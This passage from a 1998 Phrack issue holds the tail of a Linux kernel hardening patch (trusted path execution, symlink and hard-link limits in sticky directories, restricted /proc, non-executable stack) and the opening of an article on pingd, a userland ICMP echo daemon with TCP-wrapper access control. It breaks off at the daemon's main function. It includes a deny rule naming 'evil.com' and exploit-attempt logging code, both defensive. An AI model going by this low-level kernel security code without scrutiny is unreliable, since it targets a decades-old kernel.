current->suid = current->euid = current->fsuid = bprm->e_uid;
|
||
current->sgid = current->egid = current->fsgid = bprm->e_gid;
|
||
current->flags &= ~PF_FORKNOEXEC;
|
||
+ if (N_FLAGS(ex) & F_STACKEXEC) current->flags |= PF_STACKEXEC;
|
||
if (N_MAGIC(ex) == OMAGIC) {
|
||
#ifdef __alpha__
|
||
do_mmap(NULL, N_TXTADDR(ex) & PAGE_MASK,
|
||
diff -ru linux-stock/fs/binfmt_elf.c linux-patched/fs/binfmt_elf.c
|
||
--- linux-stock/fs/binfmt_elf.c Wed Oct 15 14:56:43 1997
|
||
+++ linux-patched/fs/binfmt_elf.c Tue Nov 11 01:02:05 1997
|
||
@@ -55,7 +55,10 @@
|
||
#define ELF_PAGESTART(_v) ((_v) & ~(unsigned long)(ELF_EXEC_PAGESIZE-1))
|
||
#define ELF_PAGEOFFSET(_v) ((_v) & (ELF_EXEC_PAGESIZE-1))
|
||
|
||
-static struct linux_binfmt elf_format = {
|
||
+#ifndef CONFIG_STACKEXEC
|
||
+static
|
||
+#endif
|
||
+struct linux_binfmt elf_format = {
|
||
#ifndef MODULE
|
||
NULL, NULL, load_elf_binary, load_elf_library, elf_core_dump
|
||
#else
|
||
@@ -662,6 +665,7 @@
|
||
current->suid = current->euid = current->fsuid = bprm->e_uid;
|
||
current->sgid = current->egid = current->fsgid = bprm->e_gid;
|
||
current->flags &= ~PF_FORKNOEXEC;
|
||
+ if (elf_ex.e_flags & EF_STACKEXEC) current->flags |= PF_STACKEXEC;
|
||
bprm->p = (unsigned long)
|
||
create_elf_tables((char *)bprm->p,
|
||
bprm->argc,
|
||
diff -ru linux-stock/fs/exec.c linux-patched/fs/exec.c
|
||
--- linux-stock/fs/exec.c Wed Oct 15 14:56:43 1997
|
||
+++ linux-patched/fs/exec.c Tue Nov 11 12:59:51 1997
|
||
@@ -475,6 +475,8 @@
|
||
}
|
||
current->comm[i] = '\0';
|
||
|
||
+ current->flags &= ~PF_STACKEXEC;
|
||
+
|
||
/* Release all of the old mmap stuff. */
|
||
if (exec_mmap())
|
||
return -ENOMEM;
|
||
@@ -650,12 +652,30 @@
|
||
int do_execve(char * filename, char ** argv, char ** envp, struct pt_regs * regs)
|
||
{
|
||
struct linux_binprm bprm;
|
||
+ struct inode *dir;
|
||
+ const char *basename;
|
||
+ int namelen;
|
||
int retval;
|
||
int i;
|
||
|
||
bprm.p = PAGE_SIZE*MAX_ARG_PAGES-sizeof(void *);
|
||
for (i=0 ; i<MAX_ARG_PAGES ; i++) /* clear page-table */
|
||
bprm.page[i] = 0;
|
||
+
|
||
+#ifdef CONFIG_TPE
|
||
+ /* Check to make sure the path is trusted. If the directory is root
|
||
+ * owned and not group/world writable, it's trusted. Otherwise,
|
||
+ * return -EACCES and optionally log it
|
||
+ */
|
||
+ dir_namei(filename, &namelen, &basename, NULL, &dir);
|
||
+ if (dir->i_mode & (S_IWGRP | S_IWOTH) || dir->i_uid)
|
||
+ {
|
||
+#ifdef CONFIG_TPE_LOG
|
||
+ security_alert("Trusted path execution violation");
|
||
+#endif /* CONFIG_TPE_LOG */
|
||
+ return -EACCES;
|
||
+ }
|
||
+#endif /* CONFIG_TPE */
|
||
retval = open_namei(filename, 0, 0, &bprm.inode, NULL);
|
||
if (retval)
|
||
return retval;
|
||
diff -ru linux-stock/fs/namei.c linux-patched/fs/namei.c
|
||
--- linux-stock/fs/namei.c Sat Aug 16 16:23:19 1997
|
||
+++ linux-patched/fs/namei.c Tue Nov 11 00:44:51 1997
|
||
@@ -19,6 +19,7 @@
|
||
#include <linux/fcntl.h>
|
||
#include <linux/stat.h>
|
||
#include <linux/mm.h>
|
||
+#include <linux/config.h>
|
||
|
||
#define ACC_MODE(x) ("\000\004\002\006"[(x)&O_ACCMODE])
|
||
|
||
@@ -207,6 +208,23 @@
|
||
*res_inode = inode;
|
||
return 0;
|
||
}
|
||
+#ifdef CONFIG_SYMLINK_FIX
|
||
+/*
|
||
+ * Don't follow links that we don't own in +t directories, unless the link
|
||
+ * is owned by root.
|
||
+ */
|
||
+ if (S_ISLNK(inode->i_mode) && (dir->i_mode & S_ISVTX) &&
|
||
+ inode->i_uid &&
|
||
+ current->fsuid != inode->i_uid) {
|
||
+#ifdef CONFIG_SYMLINK_LOG
|
||
+ security_alert("symlink");
|
||
+#endif
|
||
+ iput(dir);
|
||
+ iput(inode);
|
||
+ *res_inode = NULL;
|
||
+ return -EPERM;
|
||
+ }
|
||
+#endif
|
||
return inode->i_op->follow_link(dir,inode,flag,mode,res_inode);
|
||
}
|
||
|
||
@@ -216,8 +234,13 @@
|
||
* dir_namei() returns the inode of the directory of the
|
||
* specified name, and the name within that directory.
|
||
*/
|
||
+#ifdef CONFIG_TPE
|
||
+int dir_namei(const char *pathname, int *namelen, const char **name,
|
||
+ struct inode * base, struct inode **res_inode)
|
||
+#else
|
||
static int dir_namei(const char *pathname, int *namelen, const char **name,
|
||
struct inode * base, struct inode **res_inode)
|
||
+#endif /* CONFIG_TPE */
|
||
{
|
||
char c;
|
||
const char * thisname;
|
||
@@ -787,6 +810,22 @@
|
||
iput(dir);
|
||
return -EPERM;
|
||
}
|
||
+#ifdef CONFIG_SYMLINK_FIX
|
||
+/*
|
||
+ * Don't allow non-root users to create hard links to files they don't own
|
||
+ * in a +t directory.
|
||
+ */
|
||
+ if ((dir->i_mode & S_ISVTX) &&
|
||
+ current->fsuid != oldinode->i_uid &&
|
||
+ !fsuser()) {
|
||
+#ifdef CONFIG_SYMLINK_LOG
|
||
+ security_alert("hard link");
|
||
+#endif
|
||
+ iput(oldinode);
|
||
+ iput(dir);
|
||
+ return -EPERM;
|
||
+ }
|
||
+#endif
|
||
if (IS_RDONLY(dir)) {
|
||
iput(oldinode);
|
||
iput(dir);
|
||
diff -ru linux-stock/fs/proc/base.c linux-patched/fs/proc/base.c
|
||
--- linux-stock/fs/proc/base.c Wed Feb 21 01:26:09 1996
|
||
+++ linux-patched/fs/proc/base.c Sun Nov 9 10:53:19 1997
|
||
@@ -74,7 +74,11 @@
|
||
*/
|
||
struct proc_dir_entry proc_pid = {
|
||
PROC_PID_INO, 5, "<pid>",
|
||
- S_IFDIR | S_IRUGO | S_IXUGO, 2, 0, 0,
|
||
+#ifdef CONFIG_PROC_RESTRICT
|
||
+ S_IFDIR | S_IRUSR | S_IXUSR, 2, 0, 0,
|
||
+#else
|
||
+ S_IFDIR | S_IRUGO | S_IXUGO, 2, 0, 0,
|
||
+#endif /* CONFIG_PROC_RESTRICT */
|
||
0, &proc_base_inode_operations,
|
||
NULL, proc_pid_fill_inode,
|
||
NULL, &proc_root, NULL
|
||
diff -ru linux-stock/fs/proc/inode.c linux-patched/fs/proc/inode.c
|
||
--- linux-stock/fs/proc/inode.c Sat Nov 30 02:21:21 1996
|
||
+++ linux-patched/fs/proc/inode.c Sun Nov 9 10:58:06 1997
|
||
@@ -153,7 +153,11 @@
|
||
if (!p || i >= NR_TASKS)
|
||
return;
|
||
if (ino == PROC_ROOT_INO) {
|
||
- inode->i_mode = S_IFDIR | S_IRUGO | S_IXUGO;
|
||
+#ifdef CONFIG_PROC_RESTRICT
|
||
+ inode->i_mode = S_IFDIR | S_IRUSR | S_IXUSR;
|
||
+#else
|
||
+ inode->i_mode = S_IFDIR | S_IRUGO | S_IXUGO;
|
||
+#endif /* CONFIG_PROC_RESTRICT */
|
||
inode->i_nlink = 2;
|
||
for (i = 1 ; i < NR_TASKS ; i++)
|
||
if (task[i])
|
||
@@ -171,7 +175,11 @@
|
||
inode->i_nlink = 2;
|
||
break;
|
||
case PROC_SCSI:
|
||
+#ifdef CONFIG_PROC_RESTRICT
|
||
+ inode->i_mode = S_IFDIR | S_IRUSR | S_IXUSR;
|
||
+#else
|
||
inode->i_mode = S_IFDIR | S_IRUGO | S_IXUGO;
|
||
+#endif /* CONFIG_PROC_RESTRICT */
|
||
inode->i_nlink = 2;
|
||
inode->i_op = &proc_scsi_inode_operations;
|
||
break;
|
||
@@ -181,7 +189,11 @@
|
||
inode->i_size = (MAP_NR(high_memory) << PAGE_SHIFT) + PAGE_SIZE;
|
||
break;
|
||
case PROC_PROFILE:
|
||
- inode->i_mode = S_IFREG | S_IRUGO | S_IWUSR;
|
||
+#ifdef CONFIG_PROC_RESTRICT
|
||
+ inode->i_mode = S_IFDIR | S_IRUSR | S_IXUSR;
|
||
+#else
|
||
+ inode->i_mode = S_IFDIR | S_IRUGO | S_IXUGO;
|
||
+#endif /* CONFIG_PROC_RESTRICT */
|
||
inode->i_op = &proc_profile_inode_operations;
|
||
inode->i_size = (1+prof_len) * sizeof(unsigned long);
|
||
break;
|
||
@@ -203,7 +215,11 @@
|
||
return;
|
||
case PROC_PID_MEM:
|
||
inode->i_op = &proc_mem_inode_operations;
|
||
- inode->i_mode = S_IFREG | S_IRUSR | S_IWUSR;
|
||
+#ifdef CONFIG_PROC_RESTRICT
|
||
+ inode->i_mode = S_IFDIR | S_IRUSR | S_IXUSR;
|
||
+#else
|
||
+ inode->i_mode = S_IFDIR | S_IRUGO | S_IXUGO;
|
||
+#endif /* CONFIG_PROC_RESTRICT */
|
||
return;
|
||
case PROC_PID_CWD:
|
||
case PROC_PID_ROOT:
|
||
diff -ru linux-stock/include/asm-i386/processor.h linux-patched/include/asm-i386/processor.h
|
||
--- linux-stock/include/asm-i386/processor.h Tue Mar 11 13:52:29 1997
|
||
+++ linux-patched/include/asm-i386/processor.h Tue Nov 11 00:47:04 1997
|
||
@@ -9,6 +9,8 @@
|
||
|
||
#include <asm/vm86.h>
|
||
#include <asm/math_emu.h>
|
||
+#include <linux/binfmts.h>
|
||
+#include <linux/config.h>
|
||
|
||
/*
|
||
* System setup and hardware bug flags..
|
||
@@ -41,6 +43,15 @@
|
||
*/
|
||
#define TASK_SIZE (0xC0000000UL)
|
||
|
||
+#if defined(CONFIG_STACKEXEC) && defined(CONFIG_BINFMT_ELF)
|
||
+extern struct linux_binfmt elf_format;
|
||
+#define MMAP_ADDR ( \
|
||
+ current->binfmt == &elf_format && \
|
||
+ !(current->flags & PF_STACKEXEC) \
|
||
+ ? 0x00110000UL \
|
||
+ : TASK_SIZE / 3 )
|
||
+#endif
|
||
+
|
||
/*
|
||
* Size of io_bitmap in longwords: 32 is ports 0-0x3ff.
|
||
*/
|
||
@@ -134,14 +145,6 @@
|
||
#define alloc_kernel_stack() __get_free_page(GFP_KERNEL)
|
||
#define free_kernel_stack(page) free_page((page))
|
||
|
||
-static inline void start_thread(struct pt_regs * regs, unsigned long eip, unsigned long esp)
|
||
-{
|
||
- regs->cs = USER_CS;
|
||
- regs->ds = regs->es = regs->ss = regs->fs = regs->gs = USER_DS;
|
||
- regs->eip = eip;
|
||
- regs->esp = esp;
|
||
-}
|
||
-
|
||
/*
|
||
* Return saved PC of a blocked thread.
|
||
*/
|
||
@@ -151,3 +154,25 @@
|
||
}
|
||
|
||
#endif /* __ASM_I386_PROCESSOR_H */
|
||
+
|
||
+#if defined(current) && !defined(__START_THREAD)
|
||
+#define __START_THREAD
|
||
+
|
||
+static inline void start_thread(struct pt_regs * regs, unsigned long eip, unsigned long esp)
|
||
+{
|
||
+#ifdef CONFIG_STACKEXEC
|
||
+ if (current->flags & PF_STACKEXEC) {
|
||
+ regs->cs = USER_HUGE_CS; regs->ss = USER_HUGE_SS;
|
||
+ } else {
|
||
+ regs->cs = USER_CS; regs->ss = USER_DS;
|
||
+ }
|
||
+ regs->ds = regs->es = regs->fs = regs->gs = USER_DS;
|
||
+#else
|
||
+ regs->cs = USER_CS;
|
||
+ regs->ds = regs->es = regs->fs = regs->gs = regs->ss = USER_DS;
|
||
+#endif
|
||
+ regs->eip = eip;
|
||
+ regs->esp = esp;
|
||
+}
|
||
+
|
||
+#endif /* __START_THREAD */
|
||
diff -ru linux-stock/include/asm-i386/segment.h linux-patched/include/asm-i386/segment.h
|
||
--- linux-stock/include/asm-i386/segment.h Tue Apr 9 00:35:29 1996
|
||
+++ linux-patched/include/asm-i386/segment.h Tue Nov 11 00:47:13 1997
|
||
@@ -1,11 +1,27 @@
|
||
#ifndef _ASM_SEGMENT_H
|
||
#define _ASM_SEGMENT_H
|
||
|
||
+#include <linux/config.h>
|
||
+
|
||
#define KERNEL_CS 0x10
|
||
#define KERNEL_DS 0x18
|
||
|
||
#define USER_CS 0x23
|
||
#define USER_DS 0x2B
|
||
+
|
||
+#ifdef CONFIG_STACKEXEC
|
||
+#define USER_HUGE_CS 0x32
|
||
+#define USER_HUGE_SS 0x3A
|
||
+#else
|
||
+#define USER_HUGE_CS 0x23
|
||
+#define USER_HUGE_SS 0x2B
|
||
+#endif
|
||
+
|
||
+/*
|
||
+ * Magic address to return to the kernel from signal handlers, any address
|
||
+ * beyond user code segment limit will do.
|
||
+ */
|
||
+#define MAGIC_SIGRETURN 0xC1428571
|
||
|
||
#ifndef __ASSEMBLY__
|
||
|
||
diff -ru linux-stock/include/linux/a.out.h linux-patched/include/linux/a.out.h
|
||
--- linux-stock/include/linux/a.out.h Sat Aug 17 11:19:28 1996
|
||
+++ linux-patched/include/linux/a.out.h Tue Nov 11 00:47:21 1997
|
||
@@ -37,6 +37,9 @@
|
||
M_MIPS2 = 152, /* MIPS R6000/R4000 binary */
|
||
};
|
||
|
||
+/* Constants for the N_FLAGS field */
|
||
+#define F_STACKEXEC 1 /* Executable stack area forced */
|
||
+
|
||
#if !defined (N_MAGIC)
|
||
#define N_MAGIC(exec) ((exec).a_info & 0xffff)
|
||
#endif
|
||
diff -ru linux-stock/include/linux/elf.h linux-patched/include/linux/elf.h
|
||
--- linux-stock/include/linux/elf.h Sat Aug 10 00:03:15 1996
|
||
+++ linux-patched/include/linux/elf.h Tue Nov 11 00:47:39 1997
|
||
@@ -57,6 +57,9 @@
|
||
*/
|
||
#define EM_ALPHA 0x9026
|
||
|
||
+/* Constants for the e_flags field */
|
||
+#define EF_STACKEXEC 1 /* Executable stack area forced */
|
||
+
|
||
|
||
/* This is the info that is needed to parse the dynamic section of the file */
|
||
#define DT_NULL 0
|
||
diff -ru linux-stock/include/linux/kernel.h linux-patched/include/linux/kernel.h
|
||
--- linux-stock/include/linux/kernel.h Thu Aug 14 10:05:47 1997
|
||
+++ linux-patched/include/linux/kernel.h Tue Nov 11 00:47:44 1997
|
||
@@ -78,6 +78,27 @@
|
||
(((addr) >> 16) & 0xff), \
|
||
(((addr) >> 24) & 0xff)
|
||
|
||
+#define security_alert(msg) { \
|
||
+ static unsigned long warning_time = 0, no_flood_yet = 0; \
|
||
+\
|
||
+/* Make sure at least one minute passed since the last warning logged */ \
|
||
+ if (!warning_time || jiffies - warning_time > 60 * HZ) { \
|
||
+ warning_time = jiffies; no_flood_yet = 1; \
|
||
+ printk( \
|
||
+ KERN_ALERT \
|
||
+ "Possible " msg " exploit attempt:\n" \
|
||
+ KERN_ALERT \
|
||
+ "Process %s (pid %d, uid %d, euid %d).\n", \
|
||
+ current->comm, current->pid, \
|
||
+ current->uid, current->euid); \
|
||
+ } else if (no_flood_yet) { \
|
||
+ warning_time = jiffies; no_flood_yet = 0; \
|
||
+ printk( \
|
||
+ KERN_ALERT \
|
||
+ "More possible " msg " exploit attempts follow.\n"); \
|
||
+ } \
|
||
+}
|
||
+
|
||
#endif /* __KERNEL__ */
|
||
|
||
#define SI_LOAD_SHIFT 16
|
||
diff -ru linux-stock/include/linux/sched.h linux-patched/include/linux/sched.h
|
||
--- linux-stock/include/linux/sched.h Wed Oct 15 15:22:05 1997
|
||
+++ linux-patched/include/linux/sched.h Tue Nov 11 00:47:48 1997
|
||
@@ -269,6 +269,8 @@
|
||
#define PF_USEDFPU 0x00100000 /* Process used the FPU this quantum (SMP only) */
|
||
#define PF_DTRACE 0x00200000 /* delayed trace (used on m68k) */
|
||
|
||
+#define PF_STACKEXEC 0x01000000 /* Executable stack area forced */
|
||
+
|
||
/*
|
||
* Limit the stack by to some sane default: root can always
|
||
* increase this limit if needed.. 8MB seems reasonable.
|
||
@@ -490,6 +492,9 @@
|
||
|
||
#define for_each_task(p) \
|
||
for (p = &init_task ; (p = p->next_task) != &init_task ; )
|
||
+
|
||
+/* x86 start_thread() */
|
||
+#include <asm/processor.h>
|
||
|
||
#endif /* __KERNEL__ */
|
||
|
||
diff -ru linux-stock/kernel/sched.c linux-patched/kernel/sched.c
|
||
--- linux-stock/kernel/sched.c Fri Oct 17 13:17:43 1997
|
||
+++ linux-patched/kernel/sched.c Sun Nov 9 01:11:01 1997
|
||
@@ -44,7 +44,11 @@
|
||
* kernel variables
|
||
*/
|
||
|
||
+#ifdef CONFIG_SECURE_ON
|
||
+int securelevel = 1; /* system security level */
|
||
+#else
|
||
int securelevel = 0; /* system security level */
|
||
+#endif
|
||
|
||
long tick = (1000000 + HZ/2) / HZ; /* timer interrupt period */
|
||
volatile struct timeval xtime; /* The current time */
|
||
diff -ru linux-stock/mm/mmap.c linux-patched/mm/mmap.c
|
||
--- linux-stock/mm/mmap.c Fri Nov 22 06:25:17 1996
|
||
+++ linux-patched/mm/mmap.c Tue Nov 11 00:48:26 1997
|
||
@@ -308,7 +308,11 @@
|
||
if (len > TASK_SIZE)
|
||
return 0;
|
||
if (!addr)
|
||
+#ifdef MMAP_ADDR
|
||
+ addr = MMAP_ADDR;
|
||
+#else
|
||
addr = TASK_SIZE / 3;
|
||
+#endif
|
||
addr = PAGE_ALIGN(addr);
|
||
|
||
for (vmm = find_vma(current->mm, addr); ; vmm = vmm->vm_next) {
|
||
|
||
|
||
diff -ru linux-stock/net/ipv4/af_inet.c linux-patched/net/ipv4/af_inet.c
|
||
--- linux/net/ipv4/af_inet.c Fri Aug 15 12:23:23 1997
|
||
+++ linux-stock/net/ipv4/af_inet.c Mon Dec 29 18:05:29 1997
|
||
@@ -111,6 +111,15 @@
|
||
|
||
#define min(a,b) ((a)<(b)?(a):(b))
|
||
|
||
+#ifdef CONFIG_SPLIT_GID
|
||
+/*
|
||
+ * Priveleged group ids
|
||
+ */
|
||
+#define PROT_SOCK_GID 16
|
||
+#define RAW_SOCK_GID 17
|
||
+#define PACKET_SOCK_GID 18
|
||
+#endif /* CONFIG_SPLIT_GID */
|
||
+
|
||
extern struct proto packet_prot;
|
||
extern int raw_get_info(char *, char **, off_t, int, int);
|
||
extern int snmp_get_info(char *, char **, off_t, int, int);
|
||
@@ -435,8 +444,26 @@
|
||
sk->no_check = UDP_NO_CHECK;
|
||
prot=&udp_prot;
|
||
} else if(sock->type == SOCK_RAW || sock->type == SOCK_PACKET) {
|
||
+#ifdef CONFIG_SPLIT_GID
|
||
+ /*
|
||
+ * If we are not the super user, check to see if we have the
|
||
+ * corresponding special group priviledge.
|
||
+ */
|
||
+ if (!suser())
|
||
+ {
|
||
+ if (sock->type == SOCK_RAW && current->egid != RAW_SOCK_GID)
|
||
+ {
|
||
+ goto free_and_badperm;
|
||
+ }
|
||
+ else if (sock->type == SOCK_PACKET && current->egid != PACKET_SOCK_GID)
|
||
+ {
|
||
+ goto free_and_badperm;
|
||
+ }
|
||
+ }
|
||
+#else
|
||
if (!suser())
|
||
goto free_and_badperm;
|
||
+#endif /* CONFIG_SPLIT_GID */
|
||
if (!protocol)
|
||
goto free_and_noproto;
|
||
prot = &raw_prot;
|
||
@@ -621,7 +648,11 @@
|
||
if (snum == 0)
|
||
snum = sk->prot->good_socknum();
|
||
if (snum < PROT_SOCK) {
|
||
+#ifdef CONFIG_SPLIT_GID
|
||
+ if (!suser() && current->egid != PROT_SOCK_GID)
|
||
+#else
|
||
if (!suser())
|
||
+#endif /* CONFIG_SPLIT_GID */
|
||
return(-EACCES);
|
||
if (snum == 0)
|
||
return(-EAGAIN);
|
||
<-->
|
||
|
||
|
||
----[ EOF
|
||
|
||
---[ Phrack Magazine Volume 8, Issue 52 January 26, 1998, article 07 of 20
|
||
|
||
|
||
-------------------------[ Linux Ping Daemon
|
||
|
||
|
||
--------[ route|daemon9 <route@infonexus.com>
|
||
|
||
|
||
|
||
|
||
----[ Introduction and Impetus
|
||
|
||
|
||
I have an idea. How about we rip ICMP_ECHO support from the kernel? How
|
||
about we employ a userland daemon that controls ICMP_ECHO reflection via TCP
|
||
wrapper access control? (Actually, this idea was originally (c) Asriel, who
|
||
did the 44BSD version. http://www.enteract.com/~tqbf/goodies.html. He just
|
||
asked me to do the linux version.)
|
||
|
||
The bastard son of this idea is pingd. A cute userland daemon that
|
||
handles all ICMP_ECHO and ICMP_ECHOREPLY traffic. The engine is simple. A
|
||
raw ICMP socket under Linux gets a copy of every ICMP datagram delivered to
|
||
the IP module (assuming the IP datagram is destined for an interface on that
|
||
host). We simply remove support of ICMP_ECHO processing from the kernel and
|
||
erect a userland daemon with a raw ICMP socket to handle these packets.
|
||
|
||
Once we have the packet, we do some basic sanity checks such as packet
|
||
type and code, and packet size. Next, we pass the packet to the authentication
|
||
mechanism where it is checked against the access control list. If the packet
|
||
is allowed, we send a response, otherwise we drop it on the floor.
|
||
|
||
The rule for this project was primarily security and then efficiency. The
|
||
next version will have an option to send ICMP_HOST_UNREACH to an offending
|
||
host. I may also at some point add some hooks for some sort of payload
|
||
content analysis (read: LOKI detection) but for now, pingd stands as is.
|
||
|
||
|
||
----[ Compilation and Installation
|
||
|
||
|
||
i. You will need libwrap and libnet. Libwrap comes with Wieste Venema's Tcp
|
||
wrapper package and is available from ftp://ftp.win.tue.nl/pub/security/.
|
||
The libnet networking library is available from:
|
||
http://www.infonexus.com/~daemon9/Projects/libnet.tar.gz.
|
||
|
||
ii. Build and install both libraries according to their respective instructions.
|
||
|
||
1. Build the program and apply the kernel patch.
|
||
|
||
`make all` OR (`make pingd` AND `make patch`)
|
||
|
||
1a. Recompile your kernel. It is NOT necessary to make {config, dep, clean}.
|
||
It is only necessary to:
|
||
|
||
`make; make install`
|
||
|
||
(or the equivalent).
|
||
|
||
2. Test the daemon. Ensure that there are no wrapper entries in the
|
||
/etc/hosts.{deny, allow} and start the daemon in debug mode.
|
||
|
||
`./pingd -d1` and then `ping 0`
|
||
|
||
3. Edit your TCP wrapper access control files. Simply add a new service
|
||
(ping) and the IP addresses you want to allow or deny:
|
||
|
||
`cat >> /etc/hosts.deny`
|
||
ping : evil.com
|
||
|
||
^D
|
||
|
||
4. Install the program and add it to your /etc/rc.d/rc/local:
|
||
|
||
`make install`
|
||
|
||
|
||
----[ Empirical Data
|
||
|
||
|
||
This is slower then doing it in the kernel. Especially on localhost. How
|
||
about that. Remotely, the RTT's are about .7 - .9 ms longer with a concise
|
||
/etc/hosts.{allow,deny}. This is the price you pay for a more secure
|
||
implementation. All the hosts are on the same 10MB network, with
|
||
approximately the same speed NICs.
|
||
|
||
|
||
The following Linux machine has a normal kernel-based ICMP_ECHO reflector
|
||
mechanism:
|
||
|
||
resentment:~/# ping 192.168.2.34
|
||
PING 192.168.2.34 (192.168.2.34): 56 data bytes
|
||
64 bytes from 192.168.2.34: icmp_seq=0 ttl=64 time=0.8 ms
|
||
64 bytes from 192.168.2.34: icmp_seq=1 ttl=64 time=0.6 ms
|
||
64 bytes from 192.168.2.34: icmp_seq=2 ttl=64 time=0.8 ms
|
||
|
||
--- 192.168.2.34 ping statistics ---
|
||
3 packets transmitted, 3 packets received, 0% packet loss
|
||
round-trip min/avg/max = 0.6/0.7/0.8 ms
|
||
|
||
|
||
This machine is running pingd compiled with DLOG (and has no kernel
|
||
ICMP_ECHO support):
|
||
|
||
resentment:~/# ping 192.168.2.35
|
||
PING 192.168.2.35 (192.168.2.35): 56 data bytes
|
||
64 bytes from 192.168.2.35: icmp_seq=0 ttl=64 time=1.5 ms
|
||
64 bytes from 192.168.2.35: icmp_seq=1 ttl=64 time=1.4 ms
|
||
64 bytes from 192.168.2.35: icmp_seq=2 ttl=64 time=1.3 ms
|
||
|
||
--- 192.168.2.35 ping statistics ---
|
||
3 packets transmitted, 3 packets received, 0% packet loss
|
||
round-trip min/avg/max = 1.3/1.4/1.5 ms
|
||
|
||
|
||
Stress-test of the same host (not recommended to do with debugging on):
|
||
|
||
torment# /sbin/ping -f -c 10000 192.168.2.35
|
||
PING 192.168.2.35 (192.168.2.35): 56 data bytes
|
||
............................................................................
|
||
--- 192.168.2.35 ping statistics ---
|
||
10088 packets transmitted, 10000 packets received, 0% packet loss
|
||
round-trip min/avg/max = 0.985/36.790/86.075 ms
|
||
|
||
resentment:~# ping -f -c 10000 192.168.2.35
|
||
PING 192.168.2.35 (192.168.2.35): 56 data bytes
|
||
..
|
||
--- 192.168.2.35 ping statistics ---
|
||
10001 packets transmitted, 10000 packets received, 0% packet loss
|
||
round-trip min/avg/max = 1.0/1.2/17.4 ms
|
||
|
||
|
||
An example of the wrapper log:
|
||
|
||
Jan 16 18:23:03 shattered pingd: started: 997
|
||
Jan 16 18:24:52 shattered pingd: ICMP_ECHO allowed by wrapper
|
||
(64 bytes from 192.168.2.38)
|
||
Jan 16 18:24:54 shattered last message repeated 2 times
|
||
Jan 16 18:26:50 shattered pingd: ICMP_ECHO allowed by wrapper
|
||
(64 bytes from 192.168.2.37)
|
||
Jan 16 18:26:58 shattered last message repeated 10087 times
|
||
Jan 16 18:30:09 shattered pingd: ICMP_ECHO allowed by wrapper
|
||
(64 bytes from 192.168.2.38)
|
||
Jan 16 18:30:19 shattered last message repeated 10000 times
|
||
Jan 16 18:47:30 shattered pingd: ICMP_ECHO denied by wrapper
|
||
(64 bytes from 192.168.2.34)
|
||
Jan 16 18:47:32 shattered last message repeated 2 times
|
||
Jan 16 18:48:16 shattered pingd: packet too large
|
||
(10008 bytes from 192.168.2.38)
|
||
Jan 16 18:48:17 shattered last message repeated 2 times
|
||
|
||
|
||
----[ The code
|
||
|
||
|
||
<++> Pingd/Makefile
|
||
# linux pingd Makefile
|
||
# daemon9|route <route@infonexus.com>
|
||
|
||
# Define this if you want syslog logging of ICMP_ECHO traffic. This slows
|
||
# slow down daemon response time a bit.
|
||
# default: enabled.
|
||
DEFINES = -DLOG
|
||
|
||
CC = gcc
|
||
VER = 0.1
|
||
NETSRC = /usr/src/linux/net/ipv4
|
||
INSTALL_LOC = /usr/sbin
|
||
PINGD = pingd
|
||
LIBS = -lnet -lwrap
|
||
DEFINES += -D__BSD_SOURCE
|
||
CFLAGS = -O3 -funroll-loops -fomit-frame-pointer -pipe -m486 -Wall
|
||
OBJECTS = pingd.o
|
||
|
||
.c.o:
|
||
$(CC) $(CFLAGS) $(DEFINES) -c $< -o $@
|
||
|
||
pingd: $(OBJECTS)
|
||
$(CC) $(CFLAGS) $(OBJECTS) -o pingd $(LIBS)
|
||
strip pingd
|
||
|
||
all: patch pingd
|
||
|
||
patch:
|
||
@(/usr/bin/patch -d $(NETSRC) < patchfile)
|
||
@(echo "Patchfile installed")
|
||
@(echo "You must now recompile your kernel")
|
||
@(echo "")
|
||
|
||
install: pingd
|
||
(install -m755 $(PINGD) $(INSTALL_LOC))
|
||
(echo "" >> /etc/rc.d/rc.local)
|
||
(echo "echo \"Starting ping daemon\"" >> /etc/rc.d/rc.local)
|
||
(echo "$(INSTALL_LOC)/$(PINGD)" >> /etc/rc.d/rc.local)
|
||
|
||
dist: clean
|
||
@(cd ..; rm pingd-$(VER).tgz; tar cvzf pingd-$(VER).tgz Pingd/)
|
||
|
||
clean:
|
||
rm -f *.o core pingd
|
||
# EOF
|
||
<-->
|
||
<++> Pingd/pingd.h
|
||
/*
|
||
* $Id$
|
||
*
|
||
* Linux pingd sourcefile
|
||
* pingd.h - function prototypes, global data structures, and macros
|
||
* Copyright (c) 1998 by daemon9|route (route@infonexus.com)
|
||
*
|
||
*
|
||
*
|
||
*/
|
||
|
||
#ifndef _PINGD_H
|
||
#define _PINGD_H
|
||
|
||
#include <stdio.h>
|
||
#include <stdlib.h>
|
||
#include <string.h>
|
||
#include <unistd.h>
|
||
#include <netinet/in.h>
|
||
#include <netinet/ip.h>
|
||
#include <netinet/ip_icmp.h>
|
||
#include <pwd.h>
|
||
#include <syslog.h>
|
||
#include <sys/types.h>
|
||
#include <sys/socket.h>
|
||
#include <libnet.h>
|
||
|
||
#define NOBODY "nobody" /* Nobody pwnam */
|
||
#define STRING_UNKNOWN "unknown" /* From tcpd.h */
|
||
#define HEADER_MATERIAL 28 /* ICMP == 8 bytes, IP == 20 bytes */
|
||
#define MAX_PAYLOAD 8096 /* Out of thin air */
|
||
|
||
struct icmp_packet
|
||
{
|
||
struct ip iph;
|
||
struct icmphdr icmph;
|
||
u_char payload[MAX_PAYLOAD];
|
||
};
|
||
|
||
|
||
/* F U N C T I O N P R O T O T Y P E S */
|
||
|
||
|
||
void
|
||
usage(
|
||
char * /* pointer to argv[0] */
|
||
);
|
||
|
||
int /* 1 if the packet is allowed, 0 if denied */
|
||
verify(
|
||
struct icmp_packet * /* pointer to the ICMP packet in question */
|
||
);
|
||
|
||
void
|
||
icmp_reflect(
|
||
struct icmp_packet *, /* pointer to the ICMP packet in question */
|
||
int /* socket file descriptor */
|
||
);
|
||
|
||
int /* 1 if access is granted, 0 if denied */
|
||
hosts_ctl(
|
||
char *, /* daemon name */
|
||
char *, /* client name (canonical) */
|
||
char *, /* client address (dots 'n' decimals) */
|
||
char * /* client user (unused) */
|
||
);
|
||
|
||
#endif /* _PINGD_H */
|
||
|
||
/* EOF */
|
||
<-->
|
||
<++> Pingd/pingd.c
|
||
/*
|
||
* $Id$
|
||
*
|
||
* Linux pingd sourcefile
|
||
* ping.c - main sourcefile
|
||
* Copyright (c) 1998 by daemon9|route <route@infonexus.com>
|
||
*
|
||
*
|
||
*
|
||
* $Log$
|
||
*/
|
||
|
||
#include "pingd.h"
|
||
|
||
int d = 0; /* Debuging level (defaults off) */
|
||
int max_packet = 1024; /* Maximum packet size (default) */
|
||
|
||
int
|
||
main(int argc, char **argv)
|
||
{
|
||
